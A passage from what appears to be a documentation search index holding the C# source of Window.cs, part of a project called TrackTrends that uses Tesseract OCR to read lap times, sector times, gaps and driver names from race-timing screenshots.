\"NaN\" ; } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short /// Returns an object because we dont know what kind of return it will be public virtual Object DecodePng ( List < string > driverList ) { return \"NaN\" ; } /// /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks /// /// The image you want to convert /// A byte array containing the image informations public static byte [] ImageToByte ( Image inputImage ) { using ( var stream = new MemoryStream ()) { inputImage . Save ( stream , System . Drawing . Imaging . ImageFormat . Png ); return stream . ToArray (); } } /// /// This method is used to recover a time from a PNG using Tesseract OCR /// /// The image where the text is /// The type of window it is /// The Tesseract Engine /// The time in milliseconds public static int GetTimeFromPng ( Bitmap image , OcrImage . WindowType windowType , TesseractEngine Engine ) { //Kind of a big method but it has a lot of error handling and has to work with three special cases string rawResult = \"\" ; int result = 0 ; //Debug int salt = rnd . Next ( 0 , 999999 ); switch ( windowType ) { case OcrImage . WindowType . Sector : //The usual sector is in this form : 33.456 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.\" ); break ; case OcrImage . WindowType . LapTime : //The usual Lap time is in this form : 1:45:345 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.:\" ); break ; case OcrImage . WindowType . Gap : //The usual Gap is in this form : + 34.567 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.+\" ); break ; default : Engine . SetVariable ( \"tessedit_char_whitelist\" , \"\" ); break ; } Bitmap enhancedImage = new OcrImage ( image ). Enhance ( windowType ); var tessImage = Pix . LoadFromMemory ( ImageToByte ( enhancedImage )); Page page = Engine . Process ( tessImage ); Graphics g = Graphics . FromImage ( enhancedImage ); // Get the iterator for the page layout using ( var iter = page . GetIterator ()) { // Loop over the elements of the page layout iter . Begin (); do { // Get the text for the current element try { rawResult += iter . GetText ( PageIteratorLevel . Word ); } catch { //nothing we just dont add it if its not a number } } while ( iter . Next ( PageIteratorLevel . Word )); } List < string > rawNumbers ; //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something if ( windowType == OcrImage . WindowType . Gap ) rawResult = Regex . Replace ( rawResult , \"[^0-9.:]\" , \"\" ); //Splits into minuts seconds miliseconds rawNumbers = rawResult . Split ( '.' , ':' ). ToList < string >(); //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian) rawNumbers . RemoveAll ( x => (( string ) x ) == \"\" ); int minuts = 0 ; int seconds = 0 ; int miliseconds = 0 ; switch ( windowType ) { case OcrImage . WindowType . Sector : //Usually there is supposed to be only 2 parts. if ( rawNumbers . Count == 2 ) { //The perect case try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { if ( rawNumbers . Count == 1 ) { //Here it is a little harder... Usually its because a '.' has been overlooked or interpreted as a number if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' has been understood as a number try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { Console . WriteLine ( \"Sector time convertion failed\" ); } } } else { //The OCR detected more than 1 '.' wich is concerning because that means that something went really wrong Console . WriteLine ( \"Sector time convertion failed\" ); } } result = 0 ; result += seconds * 1000 ; result += miliseconds ; break ; case OcrImage . WindowType . LapTime : if ( rawNumbers . Count == 3 ) { //The normal way try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 2 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers . Count == 2 ) { //Either the ':' or the '.' has been missinterpreted if ( rawNumbers [ 0 ]. Length > rawNumbers [ 1 ]. Length ) { //The ':' has been missinterpreted if ( rawNumbers [ 0 ]. Length == 3 ) { //It has been forgotten try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 4 ) { //I has been translated into an other number try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { //This could happen if the ':' has been missinterpreted with a lap time of over 9 minuts (HIGLY IMPROBABLE) Console . WriteLine ( \"Lap time convertion failed\" ); } } } else { //The '.' has been missinterpreted if ( rawNumbers [ 1 ]. Length == 5 ) { //It has been forgotten minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 0 ]. ToString () + rawNumbers [ 1 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 2 ]. ToString () + rawNumbers [ 1 ][ 3 ]. ToString () + rawNumbers [ 1 ][ 4 ]. ToString ()); } else { if ( rawNumbers [ 1 ]. Length == 6 ) { try { //It has been interpreted as a number minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 0 ]. ToString () + rawNumbers [ 1 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 3 ]. ToString () + rawNumbers [ 1 ][ 4 ]. ToString () + rawNumbers [ 1 ][ 5 ]. ToString ()); } catch { //It can happen and to be honest I dont know how to fix it } } else { Console . WriteLine ( \"Lap time convertion failed\" ); } } } } else { if ( rawNumbers . Count == 1 ) { //Both the '.' and the ':' have been missinterpreted if ( rawNumbers [ 0 ]. Length == 6 ) { //The just all have been forgotten try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 7 ) { //The '.' or ':' have been interpreted as a number (usually the ':') try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString () + rawNumbers [ 0 ][ 6 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 8 ) { //Both have been interpreted as a number try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 5 ]. ToString () + rawNumbers [ 0 ][ 6 ]. ToString () + rawNumbers [ 0 ][ 7 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { //I dont know what could have happened Console . WriteLine ( \"Lap time convertion failed\" ); } } } } else { //I dont know what could have happened Console . WriteLine ( \"Lap time convertion failed\" ); } } } result = 0 ; result += minuts * 60 * 1000 ; result += seconds * 1000 ; result += miliseconds ; break ; case OcrImage . WindowType . Gap : if ( rawNumbers . Count == 2 ) { // This should be the x.xxx or a missed x:xx.xxx if ( rawNumbers [ 0 ]. Length > 2 ) { //Its a missed x:xx.xxx if ( rawNumbers [ 0 ]. Length == 3 ) { //It forgot the \":\" try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { //The \":\" has been mistaken as a number if ( rawNumbers [ 0 ]. Length == 4 ) { try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } else { //It should be a normal x.xxx or xx.xxx try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } else { if ( rawNumbers . Count == 1 ) { //can be anything depending on the size of the string if ( rawNumbers [ 0 ]. Length == 4 ) { //We just missed the '.' try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 5 ) { //We just missed the '.' try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } //There is just too much possibilities that it would be stupid to try and tell them appart so for now im leaving that as just an error Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { if ( rawNumbers . Count == 3 ) { // This should be the x:xx.xxx try { //Gaps cant be more than 9 minuts so if there is more than 1 digit it means that the '+' has been understood as an other number if ( rawNumbers [ 0 ]. Length > 1 ) rawNumbers [ 0 ] = rawNumbers [ 0 ][ rawNumbers [ 0 ]. Length - 1 ]. ToString (); minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 2 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } } result = 0 ; result += minuts * 60 * 1000 ; result += seconds * 1000 ; result += miliseconds ; break ; default : try { result = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); } catch { result = 0 ; } break ; } page . Dispose (); return result ; } /// /// Method that recovers strings from an image using Tesseract OCR /// /// The image of the window that contains text /// The Tesseract engine /// The list of allowed chars /// The type of window the text is on. Depending on the context the OCR will behave differently /// the string it found public static string GetStringFromPng ( Bitmap image , TesseractEngine Engine , string allowedChars = \"\" , OcrImage . WindowType windowType = OcrImage . WindowType . Text ) { string result = \"\" ; //Debug int salt = rnd . Next ( 0 , 999999 ); Engine . SetVariable ( \"tessedit_char_whitelist\" , allowedChars ); Bitmap rawData = image ; Bitmap enhancedImage = new OcrImage ( rawData ). Enhance ( windowType ); Page page = Engine . Process ( enhancedImage ); using ( var iter = page . GetIterator ()) { iter . Begin (); do { result += iter . GetText ( PageIteratorLevel . Word ); } while ( iter . Next ( PageIteratorLevel . Word )); } page . Dispose (); return result ; } /// /// Get a smaller image from a bigger one /// /// The big bitmap you want to get a part of /// The dimensions of the new bitmap /// The little bitmap protected Bitmap GetSmallBitmapFromBigOne ( Bitmap inputBitmap , Rectangle newBitmapDimensions ) { Bitmap sample = new Bitmap ( newBitmapDimensions . Width , newBitmapDimensions . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( inputBitmap , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), newBitmapDimensions , GraphicsUnit . Pixel ); return sample ; } /// /// Returns the closest string from a list of options /// /// an array of all the possibilities /// the string you want to compare /// The closest option protected static string FindClosestMatch ( List < string > options , string testString ) { var closestMatch = \"\" ; var closestDistance = int . MaxValue ; foreach ( var item in options ) { var distance = LevenshteinDistance ( item , testString ); if ( distance < closestDistance ) { closestMatch = item ; closestDistance = distance ; } } return closestMatch ; } //This method has been generated with the help of ChatGPT /// /// Method that computes a score of distance between two strings /// /// The first string (order irrelevant) /// The second string (order irrelevant) /// The levenshtein distance protected static int LevenshteinDistance ( string string1 , string string2 ) { if ( string . IsNullOrEmpty ( string1 )) { return string . IsNullOrEmpty ( string2 ) ? 0 : string2 . Length ; } if ( string . IsNullOrEmpty ( string2 )) { return string . IsNullOrEmpty ( string1 ) ? 0 : string1 . Length ; } var d = new int [ string1 . Length + 1 , string2 . Length + 1 ]; for ( var i = 0 ; i <= string1 . Length ; i ++) { d [ i , 0 ] = i ; } for ( var j = 0 ; j <= string2 . Length ; j ++) { d [ 0 , j ] = j ; } for ( var i = 1 ; i <= string1 . Length ; i ++) { for ( var j = 1 ; j <= string2 . Length ; j ++) { var cost = ( string1 [ i - 1 ] == string2 [ j - 1 ]) ? 0 : 1 ; d [ i , j ] = Math . Min ( Math . Min ( d [ i - 1 , j ] + 1 , d [ i , j - 1 ] + 1 ), d [ i - 1 , j - 1 ] + cost ); } } return d [ string1 . Length , string2 . Length ]; } } }","title":"Window.cs"},{"location":"Code/Window.html#windowcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : Window.cs /// Brief : Default Window object that is mainly expected to be inherited. /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using System.Drawing ; using System.IO ; using Tesseract ; using System.Text.RegularExpressions ; using System.Drawing.Drawing2D ; namespace TrackTrends { public class Window { public const string STRING_DEBUG_FOLDER = \"./GetString\" ; public const string LAPTIME_DEBUG_FOLDER = \"./LapTime\" ; public const string GAPTOLEADER_DEBUG_FOLDER = \"./Gap\" ; public const string SECTOR1_DEBUG_FOLDER = \"./Sector1\" ; public const string SECTOR2_DEBUG_FOLDER = \"./Sector2\" ; public const string SECTOR3_DEBUG_FOLDER = \"./Sector3\" ; public const string DRS_DEBUG_FOLDER = \"./DRS\" ; public const string TYRE_DEBUG_FOLDER = \"./Tyre\" ; private Rectangle _bounds ; private Bitmap _image ; private string _name ; protected TesseractEngine Engine ; public Rectangle Bounds { get => _bounds ; private set => _bounds = value ; } public Bitmap Image { get => _image ; set => _image = value ; } public string Name { get => _name ; protected set => _name = value ; } //This will have to be changed if you want to make it run on your machine public static DirectoryInfo TESS_DATA_FOLDER = new DirectoryInfo ( @\"C:\\Users\\Moi\\Pictures\\SeleniumScreens\\TessData\" ); //Debug public static Random rnd = new Random (); public Bitmap WindowImage { get { //This little trickery lets you have the image that the window sees Bitmap sample = new Bitmap ( Bounds . Width , Bounds . Height ); Graphics g = Graphics . FromImage ( sample ); g . DrawImage ( Image , new Rectangle ( 0 , 0 , sample . Width , sample . Height ), Bounds , GraphicsUnit . Pixel ); return sample ; } } /// /// Creates a new Window /// /// The image of the parent zone /// The position and size of the window /// Does the window need to generate a tesseract engine (takes time and ressources) public Window ( Bitmap image , Rectangle bounds , bool generateEngine = true ) { Image = image ; Bounds = bounds ; if ( generateEngine ) { Engine = new TesseractEngine ( TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Engine . DefaultPageSegMode = PageSegMode . SingleLine ; } //DEBUG /* if (!Directory.Exists(STRING_DEBUG_FOLDER)) Directory.CreateDirectory(STRING_DEBUG_FOLDER); if (!Directory.Exists(LAPTIME_DEBUG_FOLDER)) Directory.CreateDirectory(LAPTIME_DEBUG_FOLDER); if (!Directory.Exists(GAPTOLEADER_DEBUG_FOLDER)) Directory.CreateDirectory(GAPTOLEADER_DEBUG_FOLDER); if (!Directory.Exists(SECTOR1_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR1_DEBUG_FOLDER); if (!Directory.Exists(SECTOR2_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR2_DEBUG_FOLDER); if (!Directory.Exists(SECTOR3_DEBUG_FOLDER)) Directory.CreateDirectory(SECTOR3_DEBUG_FOLDER); if (!Directory.Exists(DRS_DEBUG_FOLDER)) Directory.CreateDirectory(DRS_DEBUG_FOLDER); if (!Directory.Exists(TYRE_DEBUG_FOLDER)) Directory.CreateDirectory(TYRE_DEBUG_FOLDER); */ } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// Returns an object because we dont know what kind of return it will be public virtual Object DecodePng () { return \"NaN\" ; } /// /// Method that will have to be used by the childrens to let the model make them decode the images they have /// /// This is a list of the different possible drivers in the race. It should not be too big but NEVER be too short /// Returns an object because we dont know what kind of return it will be public virtual Object DecodePng ( List < string > driverList ) { return \"NaN\" ; } /// /// This converts an image into a byte[]. It can be usefull when doing unsafe stuff. Use at your own risks /// /// The image you want to convert /// A byte array containing the image informations public static byte [] ImageToByte ( Image inputImage ) { using ( var stream = new MemoryStream ()) { inputImage . Save ( stream , System . Drawing . Imaging . ImageFormat . Png ); return stream . ToArray (); } } /// /// This method is used to recover a time from a PNG using Tesseract OCR /// /// The image where the text is /// The type of window it is /// The Tesseract Engine /// The time in milliseconds public static int GetTimeFromPng ( Bitmap image , OcrImage . WindowType windowType , TesseractEngine Engine ) { //Kind of a big method but it has a lot of error handling and has to work with three special cases string rawResult = \"\" ; int result = 0 ; //Debug int salt = rnd . Next ( 0 , 999999 ); switch ( windowType ) { case OcrImage . WindowType . Sector : //The usual sector is in this form : 33.456 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.\" ); break ; case OcrImage . WindowType . LapTime : //The usual Lap time is in this form : 1:45:345 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.:\" ); break ; case OcrImage . WindowType . Gap : //The usual Gap is in this form : + 34.567 Engine . SetVariable ( \"tessedit_char_whitelist\" , \"0123456789.+\" ); break ; default : Engine . SetVariable ( \"tessedit_char_whitelist\" , \"\" ); break ; } Bitmap enhancedImage = new OcrImage ( image ). Enhance ( windowType ); var tessImage = Pix . LoadFromMemory ( ImageToByte ( enhancedImage )); Page page = Engine . Process ( tessImage ); Graphics g = Graphics . FromImage ( enhancedImage ); // Get the iterator for the page layout using ( var iter = page . GetIterator ()) { // Loop over the elements of the page layout iter . Begin (); do { // Get the text for the current element try { rawResult += iter . GetText ( PageIteratorLevel . Word ); } catch { //nothing we just dont add it if its not a number } } while ( iter . Next ( PageIteratorLevel . Word )); } List < string > rawNumbers ; //In the gaps we can find '+' but we dont care about it its redondant a driver will never be - something if ( windowType == OcrImage . WindowType . Gap ) rawResult = Regex . Replace ( rawResult , \"[^0-9.:]\" , \"\" ); //Splits into minuts seconds miliseconds rawNumbers = rawResult . Split ( '.' , ':' ). ToList < string >(); //removes any empty cells (tho this usually sign of a really bad OCR implementation tbh will have to be fixed higher in the chian) rawNumbers . RemoveAll ( x => (( string ) x ) == \"\" ); int minuts = 0 ; int seconds = 0 ; int miliseconds = 0 ; switch ( windowType ) { case OcrImage . WindowType . Sector : //Usually there is supposed to be only 2 parts. if ( rawNumbers . Count == 2 ) { //The perect case try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { if ( rawNumbers . Count == 1 ) { //Here it is a little harder... Usually its because a '.' has been overlooked or interpreted as a number if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' has been understood as a number try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString ()); } catch { Console . WriteLine ( \"Sector time convertion failed\" ); } } else { Console . WriteLine ( \"Sector time convertion failed\" ); } } } else { //The OCR detected more than 1 '.' wich is concerning because that means that something went really wrong Console . WriteLine ( \"Sector time convertion failed\" ); } } result = 0 ; result += seconds * 1000 ; result += miliseconds ; break ; case OcrImage . WindowType . LapTime : if ( rawNumbers . Count == 3 ) { //The normal way try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 2 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers . Count == 2 ) { //Either the ':' or the '.' has been missinterpreted if ( rawNumbers [ 0 ]. Length > rawNumbers [ 1 ]. Length ) { //The ':' has been missinterpreted if ( rawNumbers [ 0 ]. Length == 3 ) { //It has been forgotten try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 4 ) { //I has been translated into an other number try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { //This could happen if the ':' has been missinterpreted with a lap time of over 9 minuts (HIGLY IMPROBABLE) Console . WriteLine ( \"Lap time convertion failed\" ); } } } else { //The '.' has been missinterpreted if ( rawNumbers [ 1 ]. Length == 5 ) { //It has been forgotten minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 0 ]. ToString () + rawNumbers [ 1 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 2 ]. ToString () + rawNumbers [ 1 ][ 3 ]. ToString () + rawNumbers [ 1 ][ 4 ]. ToString ()); } else { if ( rawNumbers [ 1 ]. Length == 6 ) { try { //It has been interpreted as a number minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 0 ]. ToString () + rawNumbers [ 1 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ][ 3 ]. ToString () + rawNumbers [ 1 ][ 4 ]. ToString () + rawNumbers [ 1 ][ 5 ]. ToString ()); } catch { //It can happen and to be honest I dont know how to fix it } } else { Console . WriteLine ( \"Lap time convertion failed\" ); } } } } else { if ( rawNumbers . Count == 1 ) { //Both the '.' and the ':' have been missinterpreted if ( rawNumbers [ 0 ]. Length == 6 ) { //The just all have been forgotten try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 7 ) { //The '.' or ':' have been interpreted as a number (usually the ':') try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 4 ]. ToString () + rawNumbers [ 0 ][ 5 ]. ToString () + rawNumbers [ 0 ][ 6 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 8 ) { //Both have been interpreted as a number try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 5 ]. ToString () + rawNumbers [ 0 ][ 6 ]. ToString () + rawNumbers [ 0 ][ 7 ]. ToString ()); } catch { Console . WriteLine ( \"Lap time convertion failed\" ); } } else { //I dont know what could have happened Console . WriteLine ( \"Lap time convertion failed\" ); } } } } else { //I dont know what could have happened Console . WriteLine ( \"Lap time convertion failed\" ); } } } result = 0 ; result += minuts * 60 * 1000 ; result += seconds * 1000 ; result += miliseconds ; break ; case OcrImage . WindowType . Gap : if ( rawNumbers . Count == 2 ) { // This should be the x.xxx or a missed x:xx.xxx if ( rawNumbers [ 0 ]. Length > 2 ) { //Its a missed x:xx.xxx if ( rawNumbers [ 0 ]. Length == 3 ) { //It forgot the \":\" try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { //The \":\" has been mistaken as a number if ( rawNumbers [ 0 ]. Length == 4 ) { try { minuts = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } else { //It should be a normal x.xxx or xx.xxx try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } else { if ( rawNumbers . Count == 1 ) { //can be anything depending on the size of the string if ( rawNumbers [ 0 ]. Length == 4 ) { //We just missed the '.' try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { if ( rawNumbers [ 0 ]. Length == 5 ) { //We just missed the '.' try { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString () + rawNumbers [ 0 ][ 4 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } //There is just too much possibilities that it would be stupid to try and tell them appart so for now im leaving that as just an error Console . WriteLine ( \"Gap to leader convertion failed\" ); } } else { if ( rawNumbers . Count == 3 ) { // This should be the x:xx.xxx try { //Gaps cant be more than 9 minuts so if there is more than 1 digit it means that the '+' has been understood as an other number if ( rawNumbers [ 0 ]. Length > 1 ) rawNumbers [ 0 ] = rawNumbers [ 0 ][ rawNumbers [ 0 ]. Length - 1 ]. ToString (); minuts = Convert . ToInt32 ( rawNumbers [ 0 ]. ToString ()); seconds = Convert . ToInt32 ( rawNumbers [ 1 ]. ToString ()); miliseconds = Convert . ToInt32 ( rawNumbers [ 2 ]. ToString ()); } catch { Console . WriteLine ( \"Gap to leader convertion failed\" ); } } } } result = 0 ; result += minuts * 60 * 1000 ; result += seconds * 1000 ; result += miliseconds ; break ; default : try { result = Convert . ToInt32 ( rawNumbers [ 0 